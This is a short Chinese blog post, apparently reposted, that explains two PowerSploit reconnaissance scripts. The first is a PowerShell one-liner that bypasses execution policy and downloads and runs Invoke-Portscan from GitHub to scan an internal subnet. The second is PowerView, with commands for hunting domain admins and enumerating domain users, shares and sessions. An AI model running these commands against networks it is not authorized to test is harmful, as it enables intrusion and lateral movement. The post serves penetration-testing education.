powersploit的两个信息收集的脚本

0x00 简介

powersploit是基于powershell的渗透工具包,里面都是powershell的脚本工具文件。
工具包地址:https://github.com/PowerShellMafia/PowerSploit

0x02 Invoke-Portscan.ps1脚本

脚本地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
内容访问地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1

powersploit里面的Invoke-Portscan.ps1脚本主要用户在内网中探寻存活主机ip及端口扫描:

执行命令(也可以去下载脚本然后用Import-Module导入):

powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,80,8080,3389' -oA c:ProgramDataip_info"

扫描的ip范围和端口范围可自行增减,执行后结果将保存在c:ProgramDataip_info.xml文件中

0x03 PowerView脚本

powerView.ps1是一款依赖powershell和wmi对内网进行查询的常用渗透测试脚本,集成在powersploit工具包中;

是一个收集域信息很好用的脚本。

脚本地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

Import-Module为powershell导入脚本命令,这里假设我们下载的powerview.ps1脚本在C:PowerView.ps1

命令格式:powershell.exe -exec bypass -Command "& {Import-Module C:PowerView.ps1; powerview的命令参数}"

1、域中定位域管理员:
powerview的Invoke-UserHunter命令,在使用时不需要管理员权限;
命令:

powershell.exe -exec bypass -Command "& {Import-Module C:PowerView.ps1; Invoke-UserHunter}"

2、更多PowerView命令参数:

Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机器的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有网络共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程连接
Get-NetProcess: 获取远程主机的进程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取活动目录的对象
Get-NetGPO: 获取域内所有的组策略对象
Get-DomainPolicy: 获取域默认策略或域控制器策略
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。

 

这两个脚本都还蛮好用的,收集信息很快,最关键的是基于powershell的。

原文地址:https://www.cnblogs.com/-chenxs/p/12378110.html